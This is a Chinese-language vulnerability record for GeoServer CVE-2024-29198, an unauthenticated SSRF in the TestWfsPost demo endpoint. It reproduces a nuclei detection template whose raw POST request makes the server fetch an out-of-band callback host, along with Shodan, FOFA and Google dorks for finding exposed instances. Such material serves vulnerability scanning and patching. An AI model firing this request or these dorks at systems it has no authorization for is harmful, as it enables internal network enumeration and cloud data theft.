GeoServer Demo Request Endpoint SSRF via Unset Proxy Base URL

漏洞信息

漏洞名称： GeoServer Demo Request Endpoint SSRF via Unset Proxy Base URL

漏洞编号：

• CVE： CVE-2024-29198

漏洞类型： 服务器端请求伪造

漏洞等级： 高危

漏洞描述： GeoServer是一个开源的地理信息系统（GIS）服务器，允许用户共享和编辑地理空间数据。它广泛应用于企业级服务和Web应用组件中，支持多种地理空间数据的发布和管理。此次漏洞存在于GeoServer的Demo请求端点中，当Proxy Base URL未设置时，攻击者可以利用服务器端请求伪造（SSRF）漏洞。具体来说，漏洞的根源在于未对用户提供的请求进行适当的验证，导致服务器可以执行未经授权的请求。这种漏洞使得未认证的用户能够通过构造特定的请求，使服务器向内部网络或其他系统发起请求，从而可能导致内部网络的枚举和敏感数据的泄露。在云环境中，这种漏洞尤其危险，因为它可能允许攻击者访问云实例中的敏感数据。攻击者无需认证即可利用此漏洞，且可以自动化执行攻击，因此对系统安全构成了严重威胁。

产品厂商： osgeo

产品名称： geoserver

搜索语法： app=”geoserver” OR title=”geoserver” OR intitle:”geoserver”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/c247d0f66987a67c94b7c0b20d80db266623facd/http%2Fcves%2F2024%2FCVE-2024-29198.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-29198

info:
  name: GeoServer Demo Request Endpoint SSRF via Unset Proxy Base URL
  author: iamnoooob,pdresearch
  severity: high
  description: |
    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.
  remediation: |
    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw
    - https://osgeo-org.atlassian.net/browse/GEOS-11390
    - https://osgeo-org.atlassian.net/browse/GEOS-11794
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29198
    cwe-id: CWE-918
    epss-score: 0.00039
    epss-percentile: 0.11129
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query:
      - http.title:"geoserver"
      - server:"geohttpserver"
    fofa-query:
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,ssrf,geoserver,oos,unauth,oast

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=http://{{interactsh-url}}/?body={{string}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains(body, '{{string}}')
          - contains(content_type, 'text/plain')
          - status_code == 200
        condition: and